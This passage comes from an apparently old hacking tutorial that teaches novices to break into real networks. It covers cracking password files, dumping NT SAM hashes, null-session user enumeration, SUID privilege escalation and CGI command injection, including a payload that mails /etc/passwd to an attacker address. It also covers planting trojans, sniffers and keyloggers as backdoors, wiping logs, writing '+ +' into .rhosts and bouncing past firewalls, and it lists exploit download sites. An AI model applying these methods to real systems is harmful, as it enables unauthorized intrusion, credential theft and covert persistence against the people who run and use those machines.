Though the unshadowed file could potentially be everywhere.  Use the grep command and look for files with the word 'root' to find potential candidates.  You may not always have read access to the real file - you may have to do some stair stepping, or use a local exploit.
To give you an idea of what to look for, here is an encrypted password file:

	root:2fkbNba29uWys:0:1:Operator:/:/bin/csh 
	admin:rYsKMjnvRppro:100:11:WWW administrator:/home/Common/WWW:/bin/csh 
	kangaroo:3A62i9qr:1012:10:Hisaharu 

Here is a shadowed password file:

	root:*:0:1:Operator:/:/bin/csh 
	admin:*:100:11:WWW administrator:/home/Common/WWW:/bin/csh 
	kangaroo:*:1012:10:Hisaharu TANAKA:/home/user/kangaroo:/usr/local/bin/tcsh 

At any rate, when you crack these, depending on the encryption strength and passwords used, you should get a handful of valid usernames and passwords.  If you didn't get the root password, you could also use one that belongs to the same group as root (such as admin or sysop).  One note about root: a lot of systems are set up so that root cannot log in remotely (from outside).  This means you'll have to log in as someone else, then use the 'su' command and enter the root password (su is used for system administrators to jump around from account to account, and stands for 'substitute user.')
NT passwords are a little different.  They are kept in the registry, not just a file like UNIX, which makes them harder to get your hands on.  They are encrypted as well.  There are a few ways to get them.  
•	Do a core dump (RAM dump) since the registry is in memory.  This is not easy for beginners, and surgically removing the hashes from memory required debugging knowledge.
•	Do a remote registry dump (with L0pht Crack).  If the NT machine allows for remote registry sharing and you have NT at home, you can extract the password from your target's registry over the Net.
•	Get the sam._ file.  If the Admin backs up the registry using rdisk.exe, the password hashes may be stored in \winnt\system32\repair or somewhere similar.
•	
•	Remote registry dumps and importing the SAM hive (sam._) into L0pht Crack requires NT.  Windows NT registry's are made up of Hives.  Each hive is stored in a *._ file.  The hive with the passwords in it is SAM._.  So why don't you just download it like a UNIX password file?  Because NT is set up not to let anyone see, copy, or modify the SAM hive.  Your only hope besides the methods listed above is to boot your target machine into an alternative OS, like Linux or DOS, then get the file (NT protects the file, DOS and Linux doesn't).  This is difficult over the net.  It is, however possible.  Also, you'll need a program that will allow DOS (which uses the FAT filesystem) or Linux (which uses the EXT2 filesystem) access the partition that SAM._ is on (which is in an NTFS filesystem partition).  Once in a while, though, you may come across copies of the hives (all with ._ extensions) stored in a directory like 'repair' or 'reg_backup'.  With all the work that it takes to get NT passwords, you're usually better off trying some other method of getting in, like exploits. 
•	
•	Infiltration
•	Again, every open port (port that you found during your portscan) is a door to the insides of that computer.  To find out how each port is a potential point of infiltration for you, you'll need to find out a little more about each protocol.  Do some research.  For now, I've provided a little info on how you can use these protocols against the computer.  
•	Again, when you log in via a telnet port, it as if you are directly connected to and part of that network.  One of the first things you should try is the "front door."  Telnet to the machine, and try some commonly used username and password combinations.  Next, try each of the email addressed you've collected.  About one in twenty people are dumb enough to use their first name or login name as their password (assuming they are allowed to set their own password), so try that too.  Chances are this won't work (though its a good idea to try anyways), so you can move on to hacking in through various ports.
•	Oftentimes the FTP service allows for anonymous logins (logging in with 'ftp' as a username and no password).  When you do so, your home directory will be something like /usr/daemon/ftp or /home/ftp.  However, if you issue a pwd (to find what directory you're currently in), it will say that your pwd is / (root).  This means that you are in a restricted shell.  So if after logging in anonymously you cd (change directory) to lib, you will be told that you are in /lib, while you'll really be in /home/ftp/lib, or whatever.  System admins like to put /bin's and /etc's in the ftp directory, and in the /etc will be a password file - but don't get your hopes up - 99% of the time its shadowed.  Anonymous ftp access is really only helpful if you can download useful information.  
•	If you see an open finger port, this could be the break you were looking for.  Use a finger client and do a generic query (no usernames) to possibly get a list of users logged on.  Next try putting an @ symbol in front of the domain you are querying, for a list of all users, logged on or not.  For specific user information, type in username@domain.  
•	The rlogin port may be another point of infiltration.  This is kind of like telnet, though older and not as secure.  Telnet to it and see what you can do.
•	The Gopher protocol was used as a text transfer protocol before the days of HTML, the WWW, and graphics on the web.  If you come across a gopher port, use a browser with a built in gopher client (newer versions of Navigator and MIE) and connect to it.  You'd be amazed as to what the gopher service will sometimes let you see.
•	Write down any other ports you see.  Telnet to them all, and see what happens.  If after you telnet in nothing happens, issue commands, hit enter a few times.  Play around - as I said before, 80% of what you will know will come from experience, not texts.  
•	
•	Remote Xploits
•	Again, a local exploit is something you run on your victim once you're already in.  A remote exploit is something you run from your own computer that exploits a vulnerability on one of your target's daemons.  Commonly vulnerable daemons are FTP, SMTP, and HTTP.  Oftentimes launching these will be logged on your target - so be sure to clean up the log files and erase any entries involving you.  
•	Again, to exploit a daemon, find out what program it is, and what version.  Search the exploit archives for an exploit for that, and if one exists, compile and run it.  If the FTP port has the service wu-ftp ver 2.2.4, go out and find the exploit for that exact service of that exact version.  If the SMTP port is running sendmail 8.8.8, get the sploit for it.  These exploits will be in the form of C code (usually), so you'll need to compile them.  Most assume that you have specific header files (*.h), so you may need to find those as well - look at the code to be sure.  To make obtaining the header files and compiling the exploits a heck of a lot easier, you ought to think about putting a Linux partition on your hard drive.  At any rate, most remote exploits, if correctly implemented, when launched give you root access, or at least access.  To find out what service an FTP port is running, telnet to it, it might just tell you.  If not, use the SYST command, and then you'll be told.  You may have to log in to do so - try doing so anonymously.  As far as SMTP, it hides its service software and version much less often that FTP does.
•	
•	Elite Hacker Tactics
•	Up to this point, you've learned the basics of various NOS's, and how the Internet works.  "When will we get to the core hacking stuff?"  You have been - breaking into a system is nothing more than understanding it thoroughly, knowing the 'rules', what you can and can't do.  Hacking is taking what you know, and using that to circumvent usually half-hearted attempts to keep casual onlookers from being where they aren't supposed to be.  Your most powerful weapon is a broad knowledge of computers and networks, and thorough knowledge of your target.  Meaning go get yourself a UNIX box.  Well, now that you know the basics of hacking, I'll go into some more advanced tactics you can employ to gain access to computers on the Internet.
•	
•	Service Exploitation
•	One of the first things you should do when you target a particular machine is telnet to every port and find out what services are running.  Find out what FTP service, what POP and SMTP daemons are running (when you telnet to the appropriate port, it will usually tell you).  Then go to sploit archives like www.securityfocus.com, www.roothshell.com, and subscribe to BugTraq and NT BugTraq.  Look up every service/daemon you find, as well as the Operating system.  Most exploits are in C, so you'll need to put a Linux partition on your hard drive to get it to compile and run.  If you have problems compiling the sploits, brush up on your UNIX C utilities.  Look in the manpages for cc, gcc, and make (if there is a makefile, which makes compiling the sploits lots easier).  Just remember to chmod the xploit and make it executable, or you'll get a message that the program couldn't be found.
•	
•	CGI Exploitation
•	CGI (Common Gateway Interface) is a method used to make web pages more interactive.  For example.  You visit your account at Hotmail.  You type your username and password into the text boxes, and click 'enter.'  The hotmail computer then reads what you typed, and runs a script (which could be in a variety of programming or scripting languages) that logs you into your account.  That's CGI.  Anytime you interface with the website (such as search engines) you are using CGI.  CGI adds lots of functionality, and lots of security issues.  There are currently all kinds of know CGI exploitations.  Two old ones are http://www.someserver.com/cgi-bin/phf and http://www.someserver.com/cgi-bin/finger.  If the file in question (/cgi-bin/finger) exists, and you request it, you will get a box up.  In the box, type:
•	root ; mail you@youremail.address < /etc/passwd.  What this does when the computer runs the script is issue the command:
•	finger (whatever you type in the box).  The ; operator starts a new command, which in this case is displaying the password file on your browser.  Copy it, paste it into a text file, and crack it.  To find CGI exploits, get a CGI exploit scanner (such as WebChk, available at The CyberUnderground) or use on a web site such as CyberArmy.com or infinityzone.cjb.net.  
•	Another problem with CGI is that webservers that are CGI enabled have special 'CGI executable directories'.  These include /cgi-bin/ (UNIX), /cg-win/, and /cgi-dos/ (windows machines).  The HTTP daemon knows to execute any file requested in those directories.  Normally, when you type www.someserver.com/index.html, all that is happening is the daemon sends you a copy of index.html.  If you type www.someserver.com/cgi-bin/program, the daemon will actually run program, if it exists.  The output of this process is usually exported to HTML format and sent to your computer.  You as a hacker could exploit this, though, by running programs of your own on the remote machine (if, say, you had FTP access but not telnet).  Great for spawning exploits.
•	In order to find out whether or not a particular web server is vulnerable (ie: has a CGI file somewhere on it that can be used to gain access), you can do a number of things.  Download WebChk to scan for you.  Go to a website such as infinityzone.cjb.net and use their built in CGI scanner.  Or, for best results, obtain a list of vulnerable CGI files/servers and use a browser to scan for them manually.  Doing things yourself, rather than using canned hacker tools, always provides better results along with expanding your own knowledge.  
•	
•	Sniffiing and Keylogging
•	Oftentimes you'll need to break into not-so-interesting computers to get to your ultimate goal.  If you are trying to break into your target network's webserver (www.yourgarget.com), and while trying, found a vulnerability in their mail server (mail.yourtarget.com), you have a few options on how to get into the webserver from the mailserver.  If you install a sniffer (available at many hacker sites), it will look at all data passing it on the network for passwords and the like.  It will copy and store that information in a file for you to periodically check.  Sniffing (which is considered an eleet hacker tactic), if done correctly, almost always provides results.  Another option is installing a keylogger on the mailserver.  Any keystrokes entered on that computer are kept in a log file.  Periodically check the file, and you'll usually come up with a password to something else interesting.  Be careful though.  If you don't hide your sniffers or keyloggers well, you stand a good chance of getting busted, or at least losing any access you had.  
•	
•	Leapfrogging
•	Most firewalls keep you out of 90% of any given network on the Internet.  How?  They look at your IP address, and determine if it should allow you in or not.  Usually, this is a router (a piece of hardware used to connect different networks) that has a list of IP addresses to accept.  If yours is not in that list, it will reject your connection.  It's a good bet that this list contains mostly machines inside that network, or from a few other trusted networks.  Oftentimes router firewalls let connections pass from other computers in the same subnet.  Lets pretend you are 203.22.54.77.  You want to get into admin.somecorp.com (34.14.91.15), which is behind the firewall.  Www.somecorp.com is (like most webservers are) in front of the firewall, and is 34.14.91.3.  If you try to telnet to admin, chances are you wont even get a login prompt, just a 'connection failed' message.  But if you telnet to www, then to admin, your IP address is that of www's - 34.14.91.3.  Which is in the same subnet of admin, and will most likely be accepted in.  And there you have your login prompt at admon.somecorp.com.  This is conceptually hacking around a firewall.  To break right through, well, you'd better be elite.  Fortunately for you, there's a 'Firewall Penetration' section near the end of this text.
•	
•	Trojans
•	Don’t assume that once you have access (be it a rootshell or just user or guest access) to a computer, you always will.  One good way to increase your chances of keeping access to this computer is to put in a back door of some kind.  The easiest (and arguably most helpful to a hacker) is a Trojan Horse.  Trojans come in all shapes and sizes, for all kinds of OS's.  The three most popular are Back Orifice, SubSeven, and Netbus.  All three are for Windows boxes (try RootKit for a UNIX Trojan).  BO by itself is commandline, but GUI's (Graphical User Interfaces) are available for it.  BO has a server (that you install on your target) and a client program (that you use at home to control your target).  With it, you can browse and manipulate data and directories on your target.  You can send message boxes to the computer to scare people on it.  NetBus, on the other hand, has more functions than BO (like screenshots of your victim, opening and closing the CD-ROM, etc), but doesn't hide itself quite as well as BO.  NetBus, like BO, has a client and a server.  Though Trojans are extremely fun to scare sysadmins, if you want to keep your access to the box, you should only use it as a backdoor.
•	
•	Port Hacking
•	If you can't find any exploits for the daemon you've found, that doesn't mean its not vulnerable.  Theoretically, every daemon bound to a TCP port is vulnerable to be used an access point to the computers insides.  Telnet to the port, and interact with the daemon.  At the top of your telnet window is the word 'Telnet.'  As soon as it says 'Telnet - www.yourtarget.com' (or some IP address) you are connected, have established a session, whether you see text or not.  Send control characters (control-x, control-c, etc).  Type commands like, GET, GO, START, LOGON, INIT, START, etc.  If what you type doesn't show up on the screen, that means that the daemon isn't echoing your characters back to you - turn on your local echo so you can see what you are typing.
•	For example: the HTTP GET command I explained earlier.  You can do this manually - telnet to port 80, issue a GET command with the page you want to view, hit enter twice, and the HTML will pour across the screen.  You are doing manually what Netscape, Internet Explorer, and Lynx do for you (except, browsers parse the HTML into readable text).  Any client program that communicates with a server program on some port is just issuing various commands to the daemon based on how the user interacts with the client interface.  Some times, an initialization command needs to be issued before the daemon will talk to you.  Try anything you can think of.  Also, it helps to know what types of programs are bound to the port you are hacking.  Refer to Appendix D on well known ports at the end of this text.
•	One last note on this topic.  Sometimes, sysadmins, authorized users, and even other hackers will bind a daemon to some extremely high port number as a back door.  Casual portscans will miss these, unless they are set to scan to high numbers.  If you see port 12345 or 31337 open on some computer, someone was here before you - these are the defaults used by the Netbus and Back Orifice Trojans.  Also, lazy system administrators sometimes put daemons on high port numbers that let them telnet in without a password.  
•	 
•	NT: The SID
•	In an NT environment, every user, group, and domain has a unique numeric value that represents it.  If you change the name of a particular group, this number the SID (Security IDentifyer) stays the same, so the group’s properties remain unchanged.  And with a valid connection to an NT box, you can use the SID to find valid login names for that machine (if you have a connection to the PDC you’ll get login names for the whole domain).  You’ll do this with the infamous user2sid and sid2user tools, available at www.hackingexposed.com.  Getting every username is invaluable for Brute Forcing - put the names you find into a text file and use NAT, Legion 2.1, or Brutus to take care of the rest.  The first step, though, is connecting to the box in question.  Use the Net View command - if you don’t have a login name, the null IPC session technique will usually work (net use \\ip_add\ipc$ “” /user:””).  Once you get a ‘command was completed successfully’ for any net use command, you’re connected, and can use the sid tools to get every username.  (The reason this works is because the LookupAccountName and LookupAccountSid Win32 system calls can be called by anyone with ‘Everyone’ access - including someone with a null IPC session.)  Lets say you null IPC’d 38.100.200.1.  You want to find members of the group ‘Domain Users,’ which is essentially everyone (this woks only if 38.100.100.1 is a domain controller - Domain Users doesn’t exist on non DC’s).  You’d type this at a command prompt:
•	
•	C:\toolz>user2sid \\38.100.100.1 “domain users”
•	
•	Which would give you that group’s SID.  Pretend you get:
•	
•	S-1-5-7464736-37373837-513
•	
•	We are interested in the last three digits of the SID: 513.  These last digits are the RID.  The RID is the only number that will be different for every other user and group SID.  Meaning every other SID in this domain will start with:
•	
•	S-1-5-7464736-37373837
•	
•	And a different 3 digit RID exists for every group and user.  We now know that “domain users” RID is 513.  The Administrator account is always RID 500.  To verify that, we’ll do this:
•	
•	C:\toolz>sid2user S-1-5-7-464736-37373837-500
•	User Admini
•	
•	There - it told us the user for that SID.  Only this sysadmin thinks he’s slick by changing the Administrator account to Admini.  Heh.  Now, do the sid2user account to ever RID from 501 until you get an error saying “no such SID”.  So next you’d:
•	
•	C:\toolz>sid2user S-1-5-7-464736-37373837-501
•	User asmith
•	
•	And so forth.  If you’re connected to a non domain controller (member server), you’ll get every user for that box.  If it’s a DC, you’ll get every global user - that is every user associated with the domain itself, not an individual computer.  Now you have a list of login names to BF.
•	
•	UNIX: SUID Binaries
•	This is a biggie for any aspiring UNIX hacker.  You get access to a UNIX box, and want root.  You’re first step should be the password file.  If its protected (you don’t have access to it), next you’d look for common vulnerabilities - and local exploits for them.  Check the System Exploit section below for common ones.  If you don’t see any at first glance, that doesn’t mean there are no vulnerable filez.  Daemons aren’t the only programs vulnerable to buffer overflows.  Any binary (executable) might be vulnerable.  These binaries have access privileges of their own - just like a user.  They can be denied or accepted access to other resources just like a user can.  All users and binaries have UID’s (User ID’s) and GID’s (Group ID’s) - and the lower the better (root being zero).  Binaries with low privileges (high number UID’s) will often be denied when they try to access other files.  Binaries with higher privileges (lower UID’s) will have more access.  So naturally we want to sploit a binary with root - equivalent privileges, or perms (permissions).  Binaries with Superuser User ID’s - SUID perms.  And with one command-line you can find every SUID binary on the system:
•	
•	$ find / -type f -perm -04000 -ls
•	
•	The output of this command will give you every binary with SUID perms, or root privileges.  The list will probably be pretty big.  Go to a Exploit archive with a searchable database (Rootshell or SecurityFocus) and look up every SUID binary you found.  Chances are one will be vulnerable - get the code, run it, and you’ll have root.
•	
•	Peering through the Eyes of your Enemy
•	Hacking pits you against a system.  This system, be it a huge inter-network or just one computer, is nothing by itself.  Servers don’t run and secure themselves.  An administrator, or sysadmin, runs them.  Hacking into his box is going head-to-head with the sysadmin.  So how do you gain the competitive edge?  You need to see the playing field from his point of view.  
•	There will come times when the prewritten exploits don’t work on your target system, and brute force either didn’t work or is too unstealthy for a hacker as leet as you.  What do you do?  Well, suppose the server you’re trying to crack is a Netscape Enterprise Server.  Install Enterprise Server on your machine.  By doing this, you’ll get a number of valuable pieces of info.
•	·	Default Directory Structures - where you can find stuff
•	·	Default Passwords - worth a try
•	·	Out-of-the-box scripts - CGI stuph that you could exploit
•	If you’re serious about hacking a system, you (usually) are better armed knowing about it.  And the more the better.  Most server software will have a free evaluation version.  Otherwise check the warez pages.  
•	No matter what server you’re hacking, you definitely want some kind of UNIX partition and an NT partition.  Get RedHat, SuSE, or Caldera LinUX (most versions are around $30) and play with it.  Set up an account with no privileges.  Download exploits (remote and local) and try to get root on your own box.  Then do the same with NT.  Try the getadmin and iishack exploits.  Once you have a feel for how these more common xploits work, you’ll be better at using them against a real target.
•	
•	System Exploits
•	You target a network.  Scan ports on every machine, telnet to every open port to find out what service is running, and look up every service at every exploit archive.  Within a few hours, you’ll have a list of at least a few vulnerabilities, meaning a couple of ways in.  Remember: in every network there is always at least one insecure computer.  And from that box you can hack the rest of the network without much trouble (using local exploits and passwords stolen from the first system you hacked).  Here, again, is a list of places to go to look for exploits.  If you find info on one exploit somewhere, still check the others for better or updated info.  
•	
•	·	www.rootshell.com
•	·	www.securityfocus.com
•	·	www.ntbugtraq.com
•	·	www.insecure.org
•	·	www.anticode.com
•	·	www.infilsec.com/vulnerabilities
•	·	www.xforce.iss.net
•	·	www.hoobie.net/security/exploits
•	·	www.net-space.org/lsv-archive/bugtraq.html
•	·	home.cyberarmy.com/tcu
•	
•	Here I will go over specific vulnerabilities to look for in any system you're trying to hack.  For more info on each of these, visit the exploit archives above.  Most give either an explanation on how to exploit the security bug, or offer code that will do it for you.
•	
•	MS Front Page ASP Dot and ASP Alternate Data Stream Vulnerabilities (remote)
•	These exploits effect FrontPage version 3.  Any ASP file (the NT equivalent to UNIX .cgi files) is viewable to a hacker, by just appending a dot to the end (eg: request somefile.asp like this: somefile.asp.).  ASP code oftentimes contains local file references and even usernames and passwords).
•	Another way to view ASP code is to append the string ::$DATA to the URL.  Eg: somefile.asp::$DATA.  If the server you’re targeting is patched against the dot vulnerability, try this one.
•	
•	IIS Remote Buffer Overflow Vulnerability (remote)
•	A lot of IIS Webservers (IIS is the webserver that comes with NT) are vulnerable to this exploit.  Using the exploit code iishack.asm (assembly) or iishack.exe (win32 binary) you can force the IIS web daemon to download and run any file on the Net you specify - including ncx or netbus.  The code is available at www.technotronic.com and www.eeye.com.
•	
•	IIS RDS Vulnerability (remote)
•	A lot of IIS Servers are also vulnerable to this attack.  If the server has Remote Data Service enabled (including msadc.dll - which many do) you can run the exploit code from your home computer and send commands to the server.  Copy \winnt\system32\repair\sam._ to \inetpub\wwwroot\ and download the SAM hive.  The exploit code is available at rootshell and securityfocus.
•	
•	WebSitePro Vulnerabilities (remote)
•	Out of the box, WebSitePro for NT has a few vulnerabilities.  The CGI file uploader.exe allows anyone to upload files.  Check for it in /cgi-win/, /cgi-dos/, /cgi-bin/, or /cgi-shl/.  Also, any files you upload into any of these directories can be executed (by just requesting them with your browser).  Can you say Netbus?
•	
•	NT Getadmin Exploit (local)
•	The executable exploits getadmin.exe and sechole.exe will make any user of the machine members of the Administrators and Domain Admins groups.  If you hack into an NT box with a user account that doesn’t have a whole lot of permissions, use one of these exploits.  They’re available at anticode.
•	
•	NT RAS Buffer Overrun (local)
•	This local exploit exploits rasman.exe into spawning a rootshell (command prompt with system privelages).  The exploit code and more info is available at www.infowar.co.uk/mnemonix/ntbufferoverruns.htm.
•	
•	Winhlp32 Buffer Overrun (local)
•	Using the exploit code, a hacker can run a batch file with system privileges.  Put rdisk /s in the batch file to dump the SAM onto the hard disk.  Exploit code and an explanation at www.infowar.co.uk/mnemonix/ntbufferoverruns.htm.
•	
•	Cold Fusion Vulnerabilities (remote)
•	Cold Fusion has its own scripting language for CGI.  These scripts are .cfm files.  The /cfdocs/expeval/openfile.cfm file allows you to upload any file to the server.  The problem is, the /cfdocs/expeval/exprcalc.cfm file (the script used to view the file you uploaded) deletes the file after you view it.  Openfile.cfm exists to help you debug a cfm file of your own.  The vulnerability: exprcalc.cfm can be manipulated to delete itself - which will keep it from deleting files you upload.  L0pht’s website along with SecurityFocus has a cfm script you can upload (called mole.cfm) that gives you full access to the server.
•	
•	Apache PHF  and Finger Vulnerabilities
•	These are two very old vulnerabilities, but still exist on some servers, and are worth mentioning.  Apache (a popular Linux webserver) stores its CGI scripts in /cgi-bin/ (which is common).  If /cgi-bin/phf exists, you can enter the following URL:
•	http://www.abouttobehacked.com/cgi-bin/phf?Qalias=x%Oa/bin/cat%20/etc/passwd
•	And you will have the /etc/passwd file cat-ed (displayed) in your browser.  Crack it with John the Ripper and you’re in.  If /cgi-bin/finger exists, you can use the text box on this page to finger the box.  If you enter ‘root’ in the box, a shell will execute ‘finger root’ on the UNIX box.  So if you type ‘root ; /bin/mail you@hacker.com < /etc/passwd’ the shell will execute ‘finger root ; mail you@hacker.com < /etc/passwd’.  A semicolon separates commands in UNIX, so what happens is the shell executes ‘finger root’, then executes ‘/bin/mail you@hacker.com </etc/passwd’.  This mails the password file directly to your email account.  Its kinda like breakfast in bed.  
•	
•	Apache Test-cgi hole (remote)
•	The cgi file /cgi-bin/Test-cgi is used to test the server-side functionality of Apache CGI.  You can exploit it to peruse directories.  To see everything in the /cgi-bin/ directory, you’d request ‘http://www.victim.com/cgi-bin/Test-cgi?*’.  This will show you all the cgi files, including other vulnerabilities.  To see what’s in /etc of the server, you’d request ‘/cgi-bin/Test-cgi?/etc/*’.  The output of any of these requests will list general info.  The ‘query’ filed of this output will return your response: the directory listing.  Try it - it works.
•	
•	Apache count.cgi hole (remote)
•	The flie /cgi-bin/count.cgi file displays a counter on the webpage, returning the number of hits to that page.  It is vulnerable to a buffer overflow, though.  The C code to do so is available at Rootshell, SecurityFocus, and a few other archives.  
•	
•	AIX crontab vulnerability
•	AIX UNIX machines have a file called crontab, which is vulnerable to a buffer overflow.  Get the exploit code at www.sw.com.sg/Download/cert_advisories/CA-92:10.AIX.crontab.vulnerability, or rootshell or securityfocus.  
•	
•	ProFTPd Buffer Overflow vulnerability (remote)
•	ProFTP version 1.2.0 is vulnerable to a buffer overflow that will spawn a rootshell for you. Get the code at rootshell.com.
•	
•	CuteFTP Weak Encryption Vulnerability (remote / local)
•	Tree.dat (ver 2.X) or smdata.dat (ver 3.X) holds encrypted FTP passwords.  Hardly encrypted though - the “algorithm” is nothing more than adding the 48h ASCII value to each character.  Meaning the number of characters in the hash is the number of characters in the clear-text password.  And you don’t even need a password cracker - just grab an ASCII chart and ad 48h to each character - you’ll get every password in the file.
•	
•	Wu-FTPd Signal Exploit (remote / local)
•	If your target has a vulnerable version of wuftpd (the WU FTP daemon), and you have any access (including guest, username ftp) the signal exploit will overspill the incoming FTP buffer, giving you a shell with root privileges.  Rootshell and security focus have the C code for the signal exploit.
•	
•	IRIX Line Printer Vulnerability (remote)
•	This exploit doesn’t require a script or even CGI exploitation.  Certain versions of AIX (by default) have the lpr login name unpassworded.  To login, just hit enter when prompted for a password.  Later versions fix this problem, and security savvy sysadmins will change the password or disable the account.
•	
•	Linux RCP Vulnerability (remote)
•	Certain versions of Slackware and Redhat that have a listening RCP (remote copy) are vulnerable to a buffer overflow.  This can be exploited to gain a shell with the privileges of the user ‘nobody’.  For specific info, visit www.geek-girl.com/bugtraq/1997_1/0113.html
•	
•	SunOS / Solaris rlogin Vulnerability (remote)
•	Yes, the rlogin daemon of some Sun machines are vulnerable to a buffer overflow that will lead to a root compromise.  Get the code at Rootshell, SecurityFocus, or rtfm.ml.org/archives/bugtraq/Nov_1997/msg00181.html.
•	
•	AIX dtterm Vulnerability (local)
•	Get a rootshell with a vulnerability in dtterm for AIX.  Get the exploit at esperosun.chungnam.ac.kr/~jmkim/hacking/1997/07%26before/aix_dtterm.c
•	
•	AIX mount Vulnerability (lo cal)
•	The mount utility - used to mount local disk drives and remote network filesystems, is vulnerable to a buffer overflow.  The sploit is at samarac.jfactorx.org/Exploits/AIX_mount.c
•	
•	Solaris X86 PPP Vulnerability (local)
•	There are a few vulnerabilities in Solaris’s implementation of PPP that will give you the ability to write to any .rhosts file.  From there, you can ‘echo + + > .rhosts’ as described in the UNIX section, and rlogin into any account without a password.  Get info at www.unitedcouncil.org/c/asppp.txt.  
•	
•	ELM Autoreply Vulnerability (local)
•	If a .autoreply file exists in a users home directory (UNIX), it will be used to auto-reply to any email that reaches the user’s inbox.  The file itself is nothing more than a shell script.  For example: user tgregor goes on vacation, and makes his .autoreply shell script send a letter back to anyone who sends on to him, telling them his is on vacation.  So if you, a hacker, can get write access to someone’s home directory (who uses ELM for an email client), you can write your own .autoreply file.  Make it do something like ‘echo + + > .rhosts’.  Then send him an email - the script will run, and you can now rlogin to that person’s account.  Slick, eh?
•	
•	Solaris GetHostByName Vulnerability (local)
•	Solaris version 2.5.X’s gethostbyname system call is vulnerable to a pseudo-buffer overflow.  Get the exploit code at www.netcraft.com/security/lists/gethostbyname.txt
•	
•	BSDI Screen Vulnerability (local)
•	The BSDi OS (UNIX) has a file called Screen that can be sploited to view passwd files.  The exploit is at www.sabotage.org/rootshell/hacking/screen.txt
•	
•	SunOS  Sushi Ping (local)
•	SunOS 4.1.X is vulnerable to this ping attack.  If you can execute it, you’ll have a rootshell on the Sun box.  Get an explanation and the code at www.unitedcouncil.org/c/sushiPing.c
•	
•	FreeBSD Rdist Vulnerability (local)
•	This exploit works on most versions of FreeBSD, and will get you a rootshell.  Get the code at www.society-of-shadows.com/security/rdist-ex.c
•	
•	FreeBSD Sendmail Vulnerability (local)
•	Sendmail, and SMTP daemon (one with a history of vulnerabilities) is vulnerable to a buffer overflow - from the inside (locally).  FreeBSD 2.1.X is vulnerable - the code is at www-jcr.lmh.ox.ac.uk/rootshell/hacking/FreeBSDmail.txt
•	
•	Linux Memory Vulnerability(local)
•	This isn’t so much a buffer overflow as it is an entire memory address range overflow.  And it will get you root: go to www.society-of-shadows.com/security/mod_ldt.c for the code.
•	
•	Linux NCSA Vulnerability (remote)
•	This is a biggie that has made many hackers happy and many sysadmins unhappy.  The NCSA httpd is vulnerable, and if properly exploited will give an attacker a remote shell.  The exploit is at: www2.fwi.com/~rook/exploits/linux_httpd.c
•	
•	Redhat inetd Vulnerability (remote)
•	Redhat is a popular distribution of Linux - used by the author of this manual.  Unfortunately, imapd (a daemon running by default) is vulnerable to a buffer overflow leading to root - from the outside (remote).  The xploit code is at mayor.dia.fi.upm.es/~alopez/bugs/bugtraq2/0263.html
•	
•	Linux Mouse Vulnerability
•	Yes its true.  Specific mouse support for Linux can be exploited to get root.  Go to www.asmodeus.com/archive/linux/GPM-EXPLOIT.TXT
•	
•	Some exploits I went into more detail with and explained how to use them, some I didn’t.  If you want step-by-step instructions on how to exploit each vulnerability, you’re out of luck.  Be a hacker: research it, or better yet, experiment with the vulnerable daemon or file yourself.  Most exploit archives have at least a little description of how to use each exploit.  If it’s a CGI vulnerability, play with the URL a bit.  Put a ‘?’ at the end of it, and see what happens.  Also, learn the extensions of certain code.  For example a .c file means its c code, and needs to be compiled with cc or gcc (try both).  .pl files are Perl scripts, and will be interpreted with Perl or Perl.exe.  .asm files are assembly, and need an assembler to be compiled.  .sh files are shell scripts (usually) so just use the correct UNIX shell to run it.  
•	If the exploit needs to be compiled and ran, do so with both cc and gcc.  Some exploits were written for a specific shell - the C and TC shells usually work best, since their native commands more closely resemble the C programming language.  Also, some exploits have critical lines of code commented out to keep complete lamers from using them.  So check for them.  What does ‘commented out’ mean?  Programmers often put comments in their code, like ‘this line executes the main proc’ or something similar to explain their code to other programmers, or even themselves.  These comment lines start with things like:
•	
•	/*
•	‘
•	rem
•	
•	and the like.  If you see a commented line that looks like code, and not a comment, uncomment it and try to recompile.  If you’re having troubles compiling an exploit, get yourself a intro to that programming language, and learn enough to spot possible problems.  Seem like a lot of work just to get one little exploit to work?  Then give up - or be a hacker and learn.  
•	
•	Firewall Penetration
•	Ahh firewalls.  Technology with only one purpose - keeping hackers out.  Many newbies are intimidated by a system they know has a firewall, and don't even bother.  Technically, though, every network has a firewall.  A firewall, by definition, is nothing more than a system used to secure the network.  Nothing specific, just that and nothing more.  So if all that is blocking a network from outside access in a UNIX login prompt, that is its firewall.  Generally speaking, though, when we refer to a firewall, there are a few distinct levels.  Here I'll explain those levels, and how to circumvent them.
•	
•	Routers as Firewalls
•	When you scan a class C subnet, and find three computers, do you think that those are the only three computers on that network?  Not usually.  Every network that is connected to the Internet is connected via a complex piece of hardware known as a router.  Routers route packets of data based on the source IP address of the sending machine, and the destination IP address of the receiving machine.  Similarly, routers can block certain IP addresses.  Every packet of data sent to any computer in your target network must pass through the router connecting the two, and if the router is programmed to not let connections be made to one particular computer, it will discard all packets sent to it, thus blocking you from connecting to it.  Also, routers can be setup to allow connections to certain machines, but block certain port numbers.  So if you scan a machine that has an open port 23 but is being blocked by the router, you won't be able to establish a connection.  It is rare, though, that routers are configured to disallow connections from all IP addresses.  Generally, it will allow a select number of IP addresses through.  Like affiliate companies, or different networks of the same company.  So how do you penetrate a firewall router that won't let you through?  Masquerade as a trusted computer.  Bounce your connection off a computer that the router might let by.  For example, lets say you hacked an account on the webserver (port 23 was not blocked).  That's not enough for you - you want root on the hub computer of the network.  But port 23 is blocked on it.  You might connect to the webserver, then, from it, telnet to your target machine.  Chances are the router will let you connect - why wouldn't it let a computer from its own network connect?
•	Any computer that is blocked by a IP filtering router is said to be behind the firewall.  Any that is not blocked is said to be in front of the firewall.  There are a number of computers that cannot be behind a firewall.  The web server, for example.  How could people get the web page of your target if it was blocked?  Also, mail servers have to be in front of the firewall, so that emails aren't blocked, and get sent t
•	appropriate recipient.  Name servers (computers with port 59, DNS, open) also cannot be blocked, as they are the computers that translate names (such as www.microsoft.com) into a network IP address.  The trick to connecting to a computer blocked by a packet filtering router is to masquerade as a computer in a trusted network, or from a computer in front of the firewall.
